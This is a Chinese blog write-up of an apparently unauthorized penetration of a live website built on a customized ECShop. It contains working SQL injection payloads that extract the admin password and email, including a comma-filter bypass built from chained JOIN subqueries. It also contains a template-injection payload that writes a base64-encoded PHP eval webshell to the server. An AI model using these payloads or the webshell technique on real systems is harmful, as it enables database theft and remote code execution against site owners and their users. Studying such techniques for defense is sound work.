如果注入过滤了逗号会怎么样?

0x00  前言

        其实是标题党,这次主要是记录一下对某个ecshop二次开发的网站的渗透。

0x01  鸡肋的二次注入

        本来看到是ECShop的时候,已经想要放弃了。但是在网站根目录看到了一个README.md之后,发现这个ECShop是二次开发的。也就是说在某些功能点上可能会存在问题,所以便继续挖了一下,便发现了一个二次注入的问题。

        这个二次注入存在于修改用户名的位置,如图所示

        把用户名修改成  

                      '|updatexml(1,concat(0x2a,user()),1)#

        提交修改后发现会变成这样:


        可以看到修改完之后显示的时候会被转义,本来以为这个地方已经利用不了了,打算修改回来了。但是提交修改后发现这个位置是个二次注入。


        于是修改刚才的语句为

                  '|updatexml(1,concat(0x2a,(select password ecs_admin_user limit 1)), 1)#

        再次提交后却发现这个语句被截断了。


        可以看到在limit的li地方就被截断了,数了一下,发现限制了60个字符。之后就在这个地方卡了很久,想把语句缩短到60个字符以内,但是我果然还是太菜了,尝试了很多办法最后还是鸡肋了,如果有别的思路还请大佬指点。

0x02  峰回路转,一个过滤了逗号的入住

        绕了这么久,终于讲到了主题,绕过逗号的注入。在二次注入尝试失败之后,我打算转换思路,去挖个别的漏洞。于是我找到了/scan.php这个页面,抱着试一试的心态随便加了个单引号,看到了如下的报错。


        可以看到这里的单引号被代入了在了括号里,于是便构造如下语句: 

            1) updatexml(1,concat(0x2a,(select password from ecs_admin_user limit 1)),1) and 1=(1

        代入执行之后看到了这样的结果。


         可以看到updatexml(1 之后的东西都不见了,判断了一下,应该是类似这样的代码: 

                explode(',', $val)[0];

        所以查询中就只能代入逗号之前的内容。于是去查资料,怎么样才能绕过逗号的限制。看了很多文章后,总结了一下,大部分都是使用exp()来进行报错注入,但是似乎这个函数的报错在新版的MySQL修复了。一时间感觉整个世界都崩塌了,就算可以联合查询,也会因为逗号的问题而无法代入sql语句。

        在绝望中,我查到了一个一个大佬写的文章

               戳我!

        大佬在文章中提到了一种方法:

            -1 UNION ALL SELECT * FROM 1,2,3,4

            替换成: 

             -1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d)

        于是按照大佬的思路,先用order by确认了一下字段数,居然有59个这么多。在经历了5分钟蛋疼的修改语句之后,最终构造出来如下语句: 

        1) and 1=2 union all select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT email from ecs_admin_user where user_id=1)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (SELECT 16)p JOIN (SELECT 17)q JOIN (SELECT 18)r JOIN (SELECT 19)s JOIN (SELECT 20)t JOIN (SELECT 21)u JOIN (SELECT 22)v JOIN (SELECT 23)w JOIN (SELECT 24)x JOIN (SELECT 25)y JOIN (SELECT 26)z JOIN (SELECT 27)aa JOIN (SELECT 28)bb JOIN (SELECT 29)cc JOIN (SELECT 30)dd JOIN (SELECT 31)ee JOIN (SELECT 32)ff JOIN (SELECT 33)gg JOIN (SELECT 34)hh JOIN (SELECT 35)ii JOIN (SELECT 36)jj JOIN (SELECT 37)kk JOIN (SELECT 38)ll JOIN (SELECT 39)mm JOIN (SELECT 40)nn JOIN (SELECT 41)oo JOIN (SELECT 42)pp JOIN (SELECT 43)qq JOIN (SELECT 44)rr JOIN (SELECT 45)ss JOIN (SELECT 46)tt JOIN (SELECT 47)uu JOIN (SELECT 48)vv JOIN (SELECT 49)ww JOIN (SELECT 50)xx JOIN (SELECT 51)yy JOIN (SELECT 52)zz JOIN (SELECT 53)aaa JOIN (SELECT 54)bbb JOIN (SELECT 55)ccc JOIN (SELECT 56)ddd JOIN (SELECT 57)eee JOIN (SELECT 58)fff JOIN (SELECT 59)ggg) where (1

        看到这个语句我都感觉绝望,因为bbb,aaa这些alias必须是唯一的,所以需要修改,如果不唯一会报一个错误: 

        Not unique table/alias: 'z'

        修改完了之后赶紧去试了一下,利用成功!


0x03  后台getshell

        按照常规的ecshop后台getshell的方法,修改项目库中的myship.lbi,插入一句话,接下来去访问/myship.php,就能获得webshell。

        常规方法测试之后,发现并没有办法getshell,应该是新版本的ecshop中增加了限制,不能直接执行php代码了,难道尝试了这么多之后进了后台却还只能是鸡肋吗?我不信,仔细观察了一下模板文件,发现了这样的地方。

        可以看到在if标签中代入了php的变量,那是否意味着可以在这个位置上代入一个函数呢?遂构造以下语句:

    
{if fputs(fopen(base64_decode(dGVzdC5waHA=),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4=))}
        hello 
{/if}
    

         然后去翻了以下ecshop的源码,发现这个recommend_best.lbi在index.php?act=cat_rec中被包含了,那么应该直接去访问这个地址,就可以在根目录下生成test.php。访问之后,结果还是很好的,确实按照我们的思路生成了test.php。

0x04  后记

        其实也没什么后记可以写,就是感觉如果不写的话格式上不太过得去,于是就写一个吧。从这次的经历之中,我们应该学到些什么呢?

别他妈瞎几把用二次开发的东西!


Last modification:September 3rd, 2017 at 01:54 am

Leave a Comment